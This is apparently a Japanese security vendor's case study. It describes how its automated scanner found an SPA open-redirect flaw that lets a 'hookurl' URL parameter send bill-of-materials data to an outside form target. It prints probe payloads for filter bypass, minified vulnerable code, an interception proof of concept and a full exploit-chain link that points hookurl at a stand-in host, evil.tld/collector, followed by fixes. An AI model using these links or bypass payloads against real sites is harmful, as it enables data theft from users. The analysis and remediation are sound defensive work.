最新のSPAに潜む二次的なデータ持ち出しチェーンを暴く
最新のSPAで二次的なクライアントサイドのデータ持ち出しチェーンがどのように発見されたかを解説します。JavaScriptの解析とエクスプロイトチェーンの検証を通じて、単純なオープンリダイレクトが多段階のデータ窃取の脆弱性へと変わりました。
シングルページアプリケーション(SPA)の台頭により、セキュリティロジックが置かれる場所は根本的に変わりました。従来のWebアプリケーションでは、認証、認可、データの検証はサーバーサイドで行われていましたが、SPAでは多くの場合、これらの役割がブラウザーに読み込まれる巨大なJavaScriptバンドルへと押し出されています。このアーキテクチャの変化は、危険な錯覚を生み出します。開発者は、権限のチェック、URLの検証、ナビゲーションの制御といった、一見セキュリティロジックに見えるものをクライアントサイドのコードに実装しますが、ユーザーのブラウザーで実行されるものは本質的に信頼できないということを忘れてしまうのです。
従来の脆弱性スキャナーは、この現実に対応できるようには作られていません。302リダイレクトやSQLエラーといったサーバーサイドの兆候を探すため、クライアントサイドのやり取りの中にしか存在しない脅威を完全に見逃してしまいます。sessionStorageを経由するデータフロー、コンポーネントの状態管理、そして特定のユーザー操作の後にのみ発動する多段階のエクスプロイトチェーンなどです。
当社の最新の自動ペンテストのスキャンは、まさにこの種の現代的な脆弱性を明らかにしました。発見されたのはサーバーの設定ミスではなく、従来のツールでは決して見ることのできないクライアントサイドのデータ持ち出しチェーンでした。それはSPAのナビゲーションロジックの中にしか存在せず、セキュリティを装いながら、実際には何の保護も提供していなかったのです。
課題:単純なパラメーターから多段階のエクスプロイトへ
エンジンはまずリスク分析から始めました。SPAのアーキテクチャを分析し、「動的な外部ナビゲーションビルダーにおけるオープンリダイレクトとスキームの悪用」という重大なリスクパターンを特定したのです。従来型のスキャナーであれば、/elbridge?url=...のようなエンドポイントでLocationヘッダーをテストし、そこで終わってしまうかもしれません。しかし当社のエンジンは、クライアントサイドのアタックサーフェス全体をマッピングするよう設計されています。
この分析に基づき、エンジンは詳細な調査計画を自律的に生成しました。
[RISK-ASSESSMENT] Pattern detected: Dynamic navigation builders
- Application pattern: SPA with client-side routing
- Risk category: Open redirect via untrusted URL parameters
- Potential sinks: window.location, form.action, window.open
- Investigation priority: HIGH
[PLAN-GENERATED] Testing strategy created:
1. Enumerate redirector endpoints: /elbridge, /redirect, /out, /external, etc.
2. Test parameter acceptance: url, next, target, redirect, hookurl
3. Validate scheme handling: https://, http://, //, javascript:, data:
4. Analyze client-side code for navigation sinks
5. Test normalization bypasses and edge cases
脆弱性は、/elbridgeエンドポイントのhookurlパラメーターにありました。エンジンが最初に発見したのは、サーバーがリダイレクトを発行しておらず、ほぼすべての入力に対して200 OKを返しているということでした。実際の挙動はクライアントのコードにあり、スキャナーは体系的にエクスプロイトチェーンを組み立てていきました。
フェーズ1:インテリジェントなプロービングとフィルターの発見 スキャナーはまず、狙いを定めたプローブによって境界の防御を把握することから始め、適切な許可リストではなく、部分的なブラックリストが使われていることを明らかにしました。
プローブの結果:
[SCANNER] Testing /elbridge parameter acceptance...
[PROBE #1: Basic external HTTPS]
> GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive
< HTTP/1.1 200 OK
Content-Type: text/html
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: SAMEORIGIN
[STATUS] Accepted
[PROBE #2: javascript: scheme]
> GET /elbridge?...&hookurl=javascript:alert(1)
< HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
[STATUS] Blocked by edge (Akamai)
[PROBE #3: Scheme-relative URL]
> GET /elbridge?...&hookurl=//example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Risk Amplifier
[PROBE #4: HTTP scheme (downgrade)]
> GET /elbridge?...&hookurl=http://example.com
< HTTP/1.1 200 OK
[STATUS] Accepted - Protocol Downgrade
[ADDITIONAL ACCEPTED SCHEMES]:
• about:blank → 200 OK
• mailto:test@example.com → 200 OK
• data:text/plain,hello → 200 OK
• https://REDACTED.example.com → 200 OK (Subdomain confusion)
• \\example.com → 200 OK (Backslash variant)
[ENGINE-ANALYSIS] Perimeter defense is inconsistent. Blocks:
• javascript: (and encoded/mixed-case variants)
• data:text/html;base64 (HTML payloads)
Accepts numerous dangerous schemes that should be blocked.
フェーズ2:静的解析と振る舞いのモデル化
スキャナーは/elbridgeを潜在的なナビゲーションハンドラーとして特定すると、hookurlパラメーターが実際にどのように使われているかを理解する必要がありました。エンジンは体系的な静的解析を実行し、アプリケーションのメインバンドルをダウンロードして調べました。
スキャナーの推論プロセス:
[SCANNER] To understand client-side data flow:
1. Need to download main JS bundles
2. Search for parameter parsing patterns
3. Identify data storage mechanisms
4. Find navigation sinks
5. Trace complete data flow
スキャナーはまずトップページを取得し、JavaScriptのアセットを特定しました。
[TOOL CALL] curl --http1.1 -sSLi https://REDACTED/
[OUTPUT] Discovered JS bundles:
- /static/js/2.6e5ed615.chunk.js (vendor bundle)
- /static/js/main.a658340c.chunk.js (main application bundle)
[ENGINE-ANALYSIS] No Content-Security-Policy header present.
X-Frame-Options: SAMEORIGIN. SPA shell detected - client-side logic expected.
スキャナーは両方のJavaScriptバンドルをダウンロードして解析しました。決定的な発見は、メインバンドルを調べたことから得られました。
取得したJavaScriptバンドルの解析:
// Scanner discovered critical code patterns:
// 1. PARAMETER PARSING FROM URL
// qn={VERSION:"version",COUNTRY:"country",HOOKURL:"hookurl",LANGUAGE:"language"}
const params = new URLSearchParams(location.search);
const version = params.get(_.kb.VERSION); // "version"
const hook = params.get(_.kb.HOOKURL); // "hookurl"
const country = params.get(_.kb.COUNTRY);
const lang = params.get(_.kb.LANGUAGE);
if (version && hook && country && lang) {
sessionStorage.setItem(_.lb.VERSION, version);
sessionStorage.setItem(_.lb.HOOKURL, hook);
}
// 2. GUARD CHECK
const hasElbridgeSeed = () => Boolean(
sessionStorage.getItem(_.lb.HOOKURL) && sessionStorage.getItem(_.lb.VERSION)
);
// 3. CRITICAL SINK (Scanner-discovered minified code)
// From bundle main.a658340c.chunk.js:
var Lm=()=>{const{t:e}=Object(_.a)(),{projectDetails:a}=Object(c.c)(e=>e.projectDetail),
t=sessionStorage.getItem(be.lb.HOOKURL),n=sessionStorage.getItem(be.lb.VERSION),
i=e=>{const a=document.createElement("form");a.method="POST",a.action=t,a.target="_blank";
const o=document.createElement("input");o.type="hidden",o.name="version",o.value=n,a.appendChild(o);
const i=document.createElement("input");i.type="hidden",i.name="result",i.value=JSON.stringify(e),
a.appendChild(i),document.body.appendChild(a),a.submit()};
スキャナーの解析結果:
[SCANNER] Data flow mapped:
• SOURCE: URL parameter ?hookurl=...
• STORAGE: sessionStorage['HOOKURL']
• TRIGGER: UI button "Go To SHOP" (i18n key: bom.go_to_shop)
• SINK: form.action = sessionStorage['HOOKURL']
• PAYLOAD: POST with hidden fields: version + result (JSON BOM data)
• TARGET: _blank (new tab)
[VULNERABILITY PATTERN] User-controlled input flows directly from URL → sessionStorage → form.action
without any validation or allowlisting.
この解析は、推測やパターンマッチングによるものではありませんでした。スキャナーは実際に次のことを行いました。
1) 本番環境のJavaScriptをダウンロードして展開した 2) ミニファイされたwebpackバンドルを解析し、関連するコードを見つけた 3) 複数の関数にまたがるデータフローを理解した 4) ロジックにおける信頼境界の侵害を特定した 5) エクスプロイトチェーン全体をエンドツーエンドでマッピングした
ほとんどのセキュリティツールは、JavaScriptを「ブラックボックス」として扱います。パラメーターを検出することはあっても、それがどのように使われているかを理解することはありません。当社のスキャナーはコードを読み、理解し、実際の脆弱な経路をマッピングします。
フェーズ3:安全なエクスプロイトチェーンの検証 スキャナーは、外部へのリクエストを行うことなくエクスプロイトチェーンを検証するために、安全な概念実証(PoC)を一通り実行しました。
生成された安全な傍受スクリプト:
// Scanner created this safe interception PoC
(function(){
const os = HTMLFormElement.prototype.submit;
HTMLFormElement.prototype.submit = function(){
console.log('[INTERCEPT] Form submission captured', {
action: this.action,
method: this.method,
target: this.target,
payload: Array.from(this.elements)
.filter(el => el.type === 'hidden')
.map(el => ({name: el.name, value: el.value}))
});
// Block actual submission to prevent exfiltration
// do NOT call os();
};
console.log('[SCANNER] sessionStorage hookurl =', sessionStorage.getItem('hookurl'));
})();
想定されるコンソール出力(スキャナーのテストより):
[SCANNER] sessionStorage hookurl = https://example.com/receive
[INTERCEPT] Form submission captured {
action: "https://example.com/receive",
method: "POST",
target: "_blank",
payload: [
{name: "version", value: "1.0"},
{name: "result", value: "{\"bomData\":[...]}"}
]
}
フェーズ4:包括的なテスト:生のHTTPエビデンス スキャナーは広範なテストを実施し、生のHTTPリクエストとレスポンスのペアを取得しました。
受け入れられたペイロード(200 OKのレスポンス):
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://example.com/receive HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 16 Oct 2025 12:16:27 GMT
ETag: W/"68f0e21b-b4b"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate, max-age=0
ブロックされたペイロード(403 Forbidden):
GET /elbridge?version=1.0&country=DEU&language=DEU&hookurl=javascript:alert(1) HTTP/1.1
Host: REDACTED
HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Cache-Control: no-cache, no-store, must-revalidate
Content-Type: text/html
フェーズ5:状態の追跡とエクスプロイトチェーンの実証 スキャナーは、アプリケーションの状態の変化を追跡しました。
sessionStorageの状態の変化(前後比較):
// BEFORE visiting /elbridge:
sessionStorage.getItem('hookurl') === null
sessionStorage.getItem('version') === null
// AFTER visiting /elbridge with attacker-controlled params:
sessionStorage.getItem('hookurl') === 'https://evil.tld/collector'
sessionStorage.getItem('version') === '1.0'
エクスプロイトチェーンの全体像(スキャナーによる記録):
1. Victim visits: https://REDACTED/elbridge?version=1.0&country=DEU&language=DEU&hookurl=https://evil.tld/collector
2. SPA stores: sessionStorage['HOOKURL'] = "https://evil.tld/collector"
3. Victim navigates to /componentlist (BOM view)
4. Victim clicks "Go To SHOP" button
5. SPA creates form with: action="https://evil.tld/collector", method="POST", target="_blank"
6. Form submits with payload: version=1.0&result={"bomData":[...]}
7. Attacker receives sensitive BOM data
なぜ重要か:コンテキストを理解するハンターとしてのスキャナー この検出結果は、自動テストにおける重要な進化を示しています。スキャナーは単にバグを見つけただけではありません。次のようにして、脆弱性のストーリーを語ったのです。
- 境界を体系的にプロービングし、フィルターの挙動を把握する
- クライアントサイドのコードを解析し、データフロー全体をマッピングする
- 複数のアプリケーションの状態にまたがって状態の変化を追跡する
- リスクなしに悪用可能性を実証する安全なPoCを作成する
- 具体的なコード修正を含む実行可能な修復策を提供する
生成された修復コード:
// IMMEDIATE CLIENT-SIDE FIX (Generated by Scanner)
function isAllowedDestination(u) {
try {
const url = new URL(u, window.location.origin);
// Enforce https only and exact host/path allowlist
const allowedHosts = new Set(["partner.REDACTED", "nizke-napeti.cz.REDACTED"]);
// Enforce HTTPS only
if (url.protocol !== "https:") return false;
// Strict host allowlist
if (!allowedHosts.has(url.hostname)) return false;
return true;
} catch {
return false;
}
}
// PERMANENT SERVER-SIDE FIXES (Scanner Recommendations):
1. Replace raw URLs with opaque, signed identifiers
2. Server-side validation against strict allowlist
3. Perimeter rule: ^https://(partner\.REDACTED|nizke-napeti\.cz\.REDACTED)(/|$)
4. CSP: navigate-to 'self' https://partner.REDACTED https://nizke-napeti.cz.REDACTED
まとめ Webの脆弱性を取り巻く状況は、ますます複雑なクライアントサイドのロジックによって形づくられるようになっています。このケーススタディは、当社のエンジンが次の点で従来のスキャンを超えていることを示しています。
- SPAの状態を理解する:
sessionStorageをまたいでデータを追跡する - クライアントサイドのデータフローをマッピングする:ソースからシンクまで
- インテリジェントにテストする:エッジケースとフィルターのバイパスをプロービングする
- エビデンスを提供する:生のHTTPの取得結果、コード解析、安全なPoC
- 修正を推奨する:具体的で実行可能な修復コード
これは単なるスキャンではなく、調査です。当社のスキャナーは攻撃者と同じようにアプリケーションをモデル化し、現代のアプリケーションが意図せず生み出してしまう高度な攻撃チェーンを明らかにし、それらを修正するために必要なエビデンスと解決策を提供します。